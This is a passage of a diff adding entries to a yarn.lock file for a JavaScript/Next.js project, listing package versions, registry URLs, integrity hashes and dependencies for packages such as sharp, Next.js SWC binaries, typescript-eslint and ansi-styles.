+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.34.3.tgz#9d4c105e8d5074a351a81a0b6d056e0af913bf76"
+  integrity sha512-xuCdhH44WxuXgOM714hn4amodJMZl3OEvf0GVTm0BEyMeA2to+8HEdRPShH0SLYptJY1uBw+SCFP9WVQi1Q/cw==
+
+"@img/sharp-win32-x64@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-win32-x64/-/sharp-win32-x64-0.34.3.tgz#d20c89bd41b1dd3d76d8575714aaaa3c43204b6a"
+  integrity sha512-OWwz05d++TxzLEv4VnsTz5CmZ6mI6S05sfQGEMrNrQcOEERbX46332IvE7pO/EUiw7jUrrS40z/M7kPyjfl04g==
+
+"@isaacs/cliui@^8.0.2":
+  version "8.0.2"
+  resolved "https://registry.yarnpkg.com/@isaacs/cliui/-/cliui-8.0.2.tgz#b37667b7bc181c168782259bab42474fbf52b550"
+  integrity sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==
+  dependencies:
+    string-width "^5.1.2"
+    string-width-cjs "npm:string-width@^4.2.0"
+    strip-ansi "^7.0.1"
+    strip-ansi-cjs "npm:strip-ansi@^6.0.1"
+    wrap-ansi "^8.1.0"
+    wrap-ansi-cjs "npm:wrap-ansi@^7.0.0"
+
+"@jest/schemas@^29.6.3":
+  version "29.6.3"
+  resolved "https://registry.yarnpkg.com/@jest/schemas/-/schemas-29.6.3.tgz#430b5ce8a4e0044a7e3819663305a7b3091c8e03"
+  integrity sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==
+  dependencies:
+    "@sinclair/typebox" "^0.27.8"
+
+"@jridgewell/gen-mapping@^0.3.2", "@jridgewell/gen-mapping@^0.3.5":
+  version "0.3.5"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz#dcce6aff74bdf6dad1a95802b69b04a2fcb1fb36"
+  integrity sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==
+  dependencies:
+    "@jridgewell/set-array" "^1.2.1"
+    "@jridgewell/sourcemap-codec" "^1.4.10"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@jridgewell/resolve-uri@^3.1.0":
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz#7a0ee601f60f99a20c7c7c5ff0c80388c1189bd6"
+  integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==
+
+"@jridgewell/set-array@^1.2.1":
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/@jridgewell/set-array/-/set-array-1.2.1.tgz#558fb6472ed16a4c850b889530e6b36438c49280"
+  integrity sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==
+
+"@jridgewell/sourcemap-codec@^1.4.10", "@jridgewell/sourcemap-codec@^1.4.14":
+  version "1.5.0"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz#3188bcb273a414b0d215fd22a58540b989b9409a"
+  integrity sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==
+
+"@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25":
+  version "0.3.25"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz#15f190e98895f3fc23276ee14bc76b675c2e50f0"
+  integrity sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==
+  dependencies:
+    "@jridgewell/resolve-uri" "^3.1.0"
+    "@jridgewell/sourcemap-codec" "^1.4.14"
+
+"@monaco-editor/loader@^1.6.1":
+  version "1.6.1"
+  resolved "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.6.1.tgz#c99177d87765abf10de31a0086084e714acfbc0f"
+  integrity sha512-w3tEnj9HYEC73wtjdpR089AqkUPskFRcdkxsiSFt3SoUc3OHpmu+leP94CXBm4mHfefmhsdfI0ZQu6qJ0wgtPg==
+  dependencies:
+    state-local "^1.0.6"
+
+"@monaco-editor/react@^4.8.0-rc.2":
+  version "4.8.0-rc.2"
+  resolved "https://registry.npmjs.org/@monaco-editor/react/-/react-4.8.0-rc.2.tgz#e9acf652e23e9f640671a69875f496dde7f098aa"
+  integrity sha512-RzFHKBCnRA4RnozaG/EPhKsbkhX5wcApSa5MElR/AD2ojxhMY+QP+G8aJpxALCnIwKs6L0dec5MJ0nAjMUEqnA==
+  dependencies:
+    "@monaco-editor/loader" "^1.6.1"
+
+"@next/env@15.5.9":
+  version "15.5.9"
+  resolved "https://registry.yarnpkg.com/@next/env/-/env-15.5.9.tgz#53c2c34dc17cd87b61f70c6cc211e303123b2ab8"
+  integrity sha512-4GlTZ+EJM7WaW2HEZcyU317tIQDjkQIyENDLxYJfSWlfqguN+dHkZgyQTV/7ykvobU7yEH5gKvreNrH4B6QgIg==
+
+"@next/eslint-plugin-next@15.5.2":
+  version "15.5.2"
+  resolved "https://registry.yarnpkg.com/@next/eslint-plugin-next/-/eslint-plugin-next-15.5.2.tgz#6fa6b78687dbbb6f5726acd81bcdfd87dc26b6f3"
+  integrity sha512-lkLrRVxcftuOsJNhWatf1P2hNVfh98k/omQHrCEPPriUypR6RcS13IvLdIrEvkm9AH2Nu2YpR5vLqBuy6twH3Q==
+  dependencies:
+    fast-glob "3.3.1"
+
+"@next/swc-darwin-arm64@15.5.7":
+  version "15.5.7"
+  resolved "https://registry.yarnpkg.com/@next/swc-darwin-arm64/-/swc-darwin-arm64-15.5.7.tgz#f0c9ccfec2cd87cbd4b241ce4c779a7017aed958"
+  integrity sha512-IZwtxCEpI91HVU/rAUOOobWSZv4P2DeTtNaCdHqLcTJU4wdNXgAySvKa/qJCgR5m6KI8UsKDXtO2B31jcaw1Yw==
+
+"@next/swc-darwin-x64@15.5.7":
+  version "15.5.7"
+  resolved "https://registry.yarnpkg.com/@next/swc-darwin-x64/-/swc-darwin-x64-15.5.7.tgz#18009e9fcffc5c0687cc9db24182ddeac56280d9"
+  integrity sha512-UP6CaDBcqaCBuiq/gfCEJw7sPEoX1aIjZHnBWN9v9qYHQdMKvCKcAVs4OX1vIjeE+tC5EIuwDTVIoXpUes29lg==
+
+"@next/swc-linux-arm64-gnu@15.5.7":
+  version "15.5.7"
+  resolved "https://registry.yarnpkg.com/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-15.5.7.tgz#fe7c7e08264cf522d4e524299f6d3e63d68d579a"
+  integrity sha512-NCslw3GrNIw7OgmRBxHtdWFQYhexoUCq+0oS2ccjyYLtcn1SzGzeM54jpTFonIMUjNbHmpKpziXnpxhSWLcmBA==
+
+"@next/swc-linux-arm64-musl@15.5.7":
+  version "15.5.7"
+  resolved "https://registry.yarnpkg.com/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-15.5.7.tgz#94228fe293475ec34a5a54284e1056876f43a3cf"
+  integrity sha512-nfymt+SE5cvtTrG9u1wdoxBr9bVB7mtKTcj0ltRn6gkP/2Nu1zM5ei8rwP9qKQP0Y//umK+TtkKgNtfboBxRrw==
+
+"@next/swc-linux-x64-gnu@15.5.7":
+  version "15.5.7"
+  resolved "https://registry.yarnpkg.com/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-15.5.7.tgz#078c71201dfe7fcfb8fa6dc92aae6c94bc011cdc"
+  integrity sha512-hvXcZvCaaEbCZcVzcY7E1uXN9xWZfFvkNHwbe/n4OkRhFWrs1J1QV+4U1BN06tXLdaS4DazEGXwgqnu/VMcmqw==
+
+"@next/swc-linux-x64-musl@15.5.7":
+  version "15.5.7"
+  resolved "https://registry.yarnpkg.com/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-15.5.7.tgz#72947f5357f9226292353e0bb775643da3c7a182"
+  integrity sha512-4IUO539b8FmF0odY6/SqANJdgwn1xs1GkPO5doZugwZ3ETF6JUdckk7RGmsfSf7ws8Qb2YB5It33mvNL/0acqA==
+
+"@next/swc-win32-arm64-msvc@15.5.7":
+  version "15.5.7"
+  resolved "https://registry.yarnpkg.com/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-15.5.7.tgz#397b912cd51c6a80e32b9c0507ecd82514353941"
+  integrity sha512-CpJVTkYI3ZajQkC5vajM7/ApKJUOlm6uP4BknM3XKvJ7VXAvCqSjSLmM0LKdYzn6nBJVSjdclx8nYJSa3xlTgQ==
+
+"@next/swc-win32-x64-msvc@15.5.7":
+  version "15.5.7"
+  resolved "https://registry.yarnpkg.com/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-15.5.7.tgz#e02b543d9dc6c1631d4ac239cb1177245dfedfe4"
+  integrity sha512-gMzgBX164I6DN+9/PGA+9dQiwmTkE4TloBNx8Kv9UiGARsr9Nba7IpcBRA1iTV9vwlYnrE3Uy6I7Aj6qLjQuqw==
+
+"@nodelib/fs.scandir@2.1.5":
+  version "2.1.5"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz#7619c2eb21b25483f6d167548b4cfd5a7488c3d5"
+  integrity sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==
+  dependencies:
+    "@nodelib/fs.stat" "2.0.5"
+    run-parallel "^1.1.9"
+
+"@nodelib/fs.stat@2.0.5", "@nodelib/fs.stat@^2.0.2":
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz#5bd262af94e9d25bd1e71b05deed44876a222e8b"
+  integrity sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==
+
+"@nodelib/fs.walk@^1.2.3", "@nodelib/fs.walk@^1.2.8":
+  version "1.2.8"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz#e95737e8bb6746ddedf69c556953494f196fe69a"
+  integrity sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==
+  dependencies:
+    "@nodelib/fs.scandir" "2.1.5"
+    fastq "^1.6.0"
+
+"@nolyfill/is-core-module@1.0.39":
+  version "1.0.39"
+  resolved "https://registry.yarnpkg.com/@nolyfill/is-core-module/-/is-core-module-1.0.39.tgz#3dc35ba0f1e66b403c00b39344f870298ebb1c8e"
+  integrity sha512-nn5ozdjYQpUCZlWGuxcJY/KpxkWQs4DcbMCmKojjyrYDEAGy4Ce19NN4v5MduafTwJlbKc99UA8YhSVqq9yPZA==
+
+"@pkgjs/parseargs@^0.11.0":
+  version "0.11.0"
+  resolved "https://registry.yarnpkg.com/@pkgjs/parseargs/-/parseargs-0.11.0.tgz#a77ea742fab25775145434eb1d2328cf5013ac33"
+  integrity sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==
+
+"@playwright/test@^1.56.1":
+  version "1.56.1"
+  resolved "https://registry.yarnpkg.com/@playwright/test/-/test-1.56.1.tgz#6e3bf3d0c90c5cf94bf64bdb56fd15a805c8bd3f"
+  integrity sha512-vSMYtL/zOcFpvJCW71Q/OEGQb7KYBPAdKh35WNSkaZA75JlAO8ED8UN6GUNTm3drWomcbcqRPFqQbLae8yBTdg==
+  dependencies:
+    playwright "1.56.1"
+
+"@rtsao/scc@^1.1.0":
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/@rtsao/scc/-/scc-1.1.0.tgz#927dd2fae9bc3361403ac2c7a00c32ddce9ad7e8"
+  integrity sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==
+
+"@rushstack/eslint-patch@^1.10.3":
+  version "1.10.4"
+  resolved "https://registry.yarnpkg.com/@rushstack/eslint-patch/-/eslint-patch-1.10.4.tgz#427d5549943a9c6fce808e39ea64dbe60d4047f1"
+  integrity sha512-WJgX9nzTqknM393q1QJDJmoW28kUfEnybeTfVNcNAPnIx210RXm2DiXiHzfNPJNIUUb1tJnz/l4QGtJ30PgWmA==
+
+"@sideway/address@^4.1.5":
+  version "4.1.5"
+  resolved "https://registry.yarnpkg.com/@sideway/address/-/address-4.1.5.tgz#4bc149a0076623ced99ca8208ba780d65a99b9d5"
+  integrity sha512-IqO/DUQHUkPeixNQ8n0JA6102hT9CmaljNTPmQ1u8MEhBo/R4Q8eKLN/vGZxuebwOroDB4cbpjheD4+/sKFK4Q==
+  dependencies:
+    "@hapi/hoek" "^9.0.0"
+
+"@sideway/formula@^3.0.1":
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/@sideway/formula/-/formula-3.0.1.tgz#80fcbcbaf7ce031e0ef2dd29b1bfc7c3f583611f"
+  integrity sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==
+
+"@sideway/pinpoint@^2.0.0":
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/@sideway/pinpoint/-/pinpoint-2.0.0.tgz#cff8ffadc372ad29fd3f78277aeb29e632cc70df"
+  integrity sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==
+
+"@sinclair/typebox@^0.27.8":
+  version "0.27.8"
+  resolved "https://registry.yarnpkg.com/@sinclair/typebox/-/typebox-0.27.8.tgz#6667fac16c436b5434a387a34dedb013198f6e6e"
+  integrity sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==
+
+"@swc/helpers@0.5.15":
+  version "0.5.15"
+  resolved "https://registry.yarnpkg.com/@swc/helpers/-/helpers-0.5.15.tgz#79efab344c5819ecf83a43f3f9f811fc84b516d7"
+  integrity sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g==
+  dependencies:
+    tslib "^2.8.0"
+
+"@types/json5@^0.0.29":
+  version "0.0.29"
+  resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee"
+  integrity sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==
+
+"@types/node@18.11.9":
+  version "18.11.9"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-18.11.9.tgz#02d013de7058cea16d36168ef2fc653464cfbad4"
+  integrity sha512-CRpX21/kGdzjOpFsZSkcrXMGIBWMGNIHXXBVFSH+ggkftxg+XYP20TESbh+zFvFj3EQOl5byk0HTRn1IL6hbqg==
+
+"@types/react-dom@19.2":
+  version "19.2.2"
+  resolved "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.2.tgz#a4cc874797b7ddc9cb180ef0d5dc23f596fc2332"
+  integrity sha512-9KQPoO6mZCi7jcIStSnlOWn2nEF3mNmyr3rIAsGnAbQKYbRLyqmeSc39EVgtxXVia+LMT8j3knZLAZAh+xLmrw==
+
+"@types/react@19.2":
+  version "19.2.2"
+  resolved "https://registry.npmjs.org/@types/react/-/react-19.2.2.tgz#ba123a75d4c2a51158697160a4ea2ff70aa6bf36"
+  integrity sha512-6mDvHUFSjyT2B2yeNx2nUgMxh9LtOWvkhIU3uePn2I2oyNymUAX1NIsdgviM4CH+JSrp2D2hsMvJOkxY+0wNRA==
+  dependencies:
+    csstype "^3.0.2"
+
+"@typescript-eslint/eslint-plugin@^5.4.2 || ^6.0.0 || ^7.0.0 || ^8.0.0":
+  version "8.10.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.10.0.tgz#9c8218ed62f9a322df10ded7c34990f014df44f2"
+  integrity sha512-phuB3hoP7FFKbRXxjl+DRlQDuJqhpOnm5MmtROXyWi3uS/Xg2ZXqiQfcG2BJHiN4QKyzdOJi3NEn/qTnjUlkmQ==
+  dependencies:
+    "@eslint-community/regexpp" "^4.10.0"
+    "@typescript-eslint/scope-manager" "8.10.0"
+    "@typescript-eslint/type-utils" "8.10.0"
+    "@typescript-eslint/utils" "8.10.0"
+    "@typescript-eslint/visitor-keys" "8.10.0"
+    graphemer "^1.4.0"
+    ignore "^5.3.1"
+    natural-compare "^1.4.0"
+    ts-api-utils "^1.3.0"
+
+"@typescript-eslint/parser@^5.4.2 || ^6.0.0 || ^7.0.0 || ^8.0.0":
+  version "8.10.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-8.10.0.tgz#3cbe7206f5e42835878a74a76da533549f977662"
+  integrity sha512-E24l90SxuJhytWJ0pTQydFT46Nk0Z+bsLKo/L8rtQSL93rQ6byd1V/QbDpHUTdLPOMsBCcYXZweADNCfOCmOAg==
+  dependencies:
+    "@typescript-eslint/scope-manager" "8.10.0"
+    "@typescript-eslint/types" "8.10.0"
+    "@typescript-eslint/typescript-estree" "8.10.0"
+    "@typescript-eslint/visitor-keys" "8.10.0"
+    debug "^4.3.4"
+
+"@typescript-eslint/scope-manager@8.10.0":
+  version "8.10.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-8.10.0.tgz#606ffe18314d7b5c2f118f2f02aaa2958107a19c"
+  integrity sha512-AgCaEjhfql9MDKjMUxWvH7HjLeBqMCBfIaBbzzIcBbQPZE7CPh1m6FF+L75NUMJFMLYhCywJXIDEMa3//1A0dw==
+  dependencies:
+    "@typescript-eslint/types" "8.10.0"
+    "@typescript-eslint/visitor-keys" "8.10.0"
+
+"@typescript-eslint/type-utils@8.10.0":
+  version "8.10.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-8.10.0.tgz#99f1d2e21f8c74703e7d9c4a67a87271eaf57597"
+  integrity sha512-PCpUOpyQSpxBn230yIcK+LeCQaXuxrgCm2Zk1S+PTIRJsEfU6nJ0TtwyH8pIwPK/vJoA+7TZtzyAJSGBz+s/dg==
+  dependencies:
+    "@typescript-eslint/typescript-estree" "8.10.0"
+    "@typescript-eslint/utils" "8.10.0"
+    debug "^4.3.4"
+    ts-api-utils "^1.3.0"
+
+"@typescript-eslint/types@8.10.0":
+  version "8.10.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-8.10.0.tgz#eb29c4bc2ed23489348c297469c76d28c38fb618"
+  integrity sha512-k/E48uzsfJCRRbGLapdZgrX52csmWJ2rcowwPvOZ8lwPUv3xW6CcFeJAXgx4uJm+Ge4+a4tFOkdYvSpxhRhg1w==
+
+"@typescript-eslint/typescript-estree@8.10.0":
+  version "8.10.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.10.0.tgz#36cc66e06c5f44d6781f95cb03b132e985273a33"
+  integrity sha512-3OE0nlcOHaMvQ8Xu5gAfME3/tWVDpb/HxtpUZ1WeOAksZ/h/gwrBzCklaGzwZT97/lBbbxJ16dMA98JMEngW4w==
+  dependencies:
+    "@typescript-eslint/types" "8.10.0"
+    "@typescript-eslint/visitor-keys" "8.10.0"
+    debug "^4.3.4"
+    fast-glob "^3.3.2"
+    is-glob "^4.0.3"
+    minimatch "^9.0.4"
+    semver "^7.6.0"
+    ts-api-utils "^1.3.0"
+
+"@typescript-eslint/utils@8.10.0":
+  version "8.10.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.10.0.tgz#d78d1ce3ea3d2a88a2593ebfb1c98490131d00bf"
+  integrity sha512-Oq4uZ7JFr9d1ZunE/QKy5egcDRXT/FrS2z/nlxzPua2VHFtmMvFNDvpq1m/hq0ra+T52aUezfcjGRIB7vNJF9w==
+  dependencies:
+    "@eslint-community/eslint-utils" "^4.4.0"
+    "@typescript-eslint/scope-manager" "8.10.0"
+    "@typescript-eslint/types" "8.10.0"
+    "@typescript-eslint/typescript-estree" "8.10.0"
+
+"@typescript-eslint/visitor-keys@8.10.0":
+  version "8.10.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.10.0.tgz#7ce4c0c3b82140415c9cd9babe09e0000b4e9979"
+  integrity sha512-k8nekgqwr7FadWk548Lfph6V3r9OVqjzAIVskE7orMZR23cGJjAOVazsZSJW+ElyjfTM4wx/1g88Mi70DDtG9A==
+  dependencies:
+    "@typescript-eslint/types" "8.10.0"
+    eslint-visitor-keys "^3.4.3"
+
+"@ungap/structured-clone@^1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@ungap/structured-clone/-/structured-clone-1.2.0.tgz#756641adb587851b5ccb3e095daf27ae581c8406"
+  integrity sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==
+
+"@use-gesture/core@10.3.1":
+  version "10.3.1"
+  resolved "https://registry.yarnpkg.com/@use-gesture/core/-/core-10.3.1.tgz#976c9421e905f0079d49822cfd5c2e56b808fc56"
+  integrity sha512-WcINiDt8WjqBdUXye25anHiNxPc0VOrlT8F6LLkU6cycrOGUDyY/yyFmsg3k8i5OLvv25llc0QC45GhR/C8llw==
+
+"@use-gesture/react@^10.2.22":
+  version "10.3.1"
+  resolved "https://registry.yarnpkg.com/@use-gesture/react/-/react-10.3.1.tgz#17a743a894d9bd9a0d1980c618f37f0164469867"
+  integrity sha512-Yy19y6O2GJq8f7CHf7L0nxL8bf4PZCPaVOCgJrusOeFHY1LvHgYXnmnXg6N5iwAnbgbZCDjo60SiM6IPJi9C5g==
+  dependencies:
+    "@use-gesture/core" "10.3.1"
+
+acorn-jsx@^5.3.2:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz#7ed5bb55908b3b2f1bc55c6af1653bada7f07937"
+  integrity sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==
+
+acorn@^8.9.0:
+  version "8.12.1"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.12.1.tgz#71616bdccbe25e27a54439e0046e89ca76df2248"
+  integrity sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg==
+
+ajv@^6.12.4:
+  version "6.12.6"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
+  integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
+  dependencies:
+    fast-deep-equal "^3.1.1"
+    fast-json-stable-stringify "^2.0.0"
+    json-schema-traverse "^0.4.1"
+    uri-js "^4.2.2"
+
+ansi-regex@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304"
+  integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
+
+ansi-regex@^6.0.1:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-6.1.0.tgz#95ec409c69619d6cb1b8b34f14b660ef28ebd654"
+  integrity sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==
+
+ansi-styles@^3.2.1:
+  version "3.2.1"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
+  integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
+  dependencies:
+    color-convert "^1.9.0"
+
+ansi-styles@^4.0.0, ansi-styles@^4.1.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
+  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
+  dependencies:
+    color-convert "^2.0.1"
+
+ansi-styles@^5.0.0:
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-5.2.0.tgz#07449690ad45777d1924ac2abb2fc8895dba836b"
+  integrity sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==
+
+ansi-styles@^6.1.0:
+  version "6.2.1"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-6.2.1.tgz#0e62320cf99c21afff3b3012192546aacbfb05c5"
+  integrity sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==
+
+any-promise@^1.0.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/any-promise/-/any-promise-1.3.0.tgz#abc6afeedcea52e809cdc0376aed3ce39635d17f"
+  integrity sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==
+
+anymatch@~3.1.2:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.3.tgz#790c58b19ba1720a84205b57c618d5ad8524973e"
+  integrity sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==
+  dependencies:
+    normalize-path "^3.0.0"
+    picomatch "^2.0.4"
+
+arg@^5.0.2:
+  version "5.0.2"
+  resolved "https://registry.yarnpkg.com/arg/-/arg-5.0.2.tgz#c81433cc427c92c4dcf4865142dbca6f15acd59c"
+  integrity sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==
+
+argparse@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/argparse/-/argparse-2.0.1.tgz#246f50f3ca78a3240f6c997e8a9bd1eac49e4b38"
+  integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==
+
+aria-query@~5.1.3:
+  version "5.1.3"
+  resolved "https://registry.yarnpkg.com/aria-query/-/aria-query-5.1.3.tgz#19db27cd101152773631396f7a95a3b58c22c35e"
+  integrity sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==
+  dependencies:
+    deep-equal "^2.0.5"
+
+array-buffer-byte-length@^1.0.0, array-buffer-byte-length@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.1.tgz#1e5583ec16763540a27ae52eed99ff899223568f"
+  integrity sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==
+  dependencies:
+    call-bind "^1.0.5"
+    is-array-buffer "^3.0.4"
+
+array-buffer-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz#384d12a37295aec3769ab022ad323a18a51ccf8b"
+  integrity sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==
+  dependencies:
+    call-bound "^1.0.3"
+    is-array-buffer "^3.0.5"
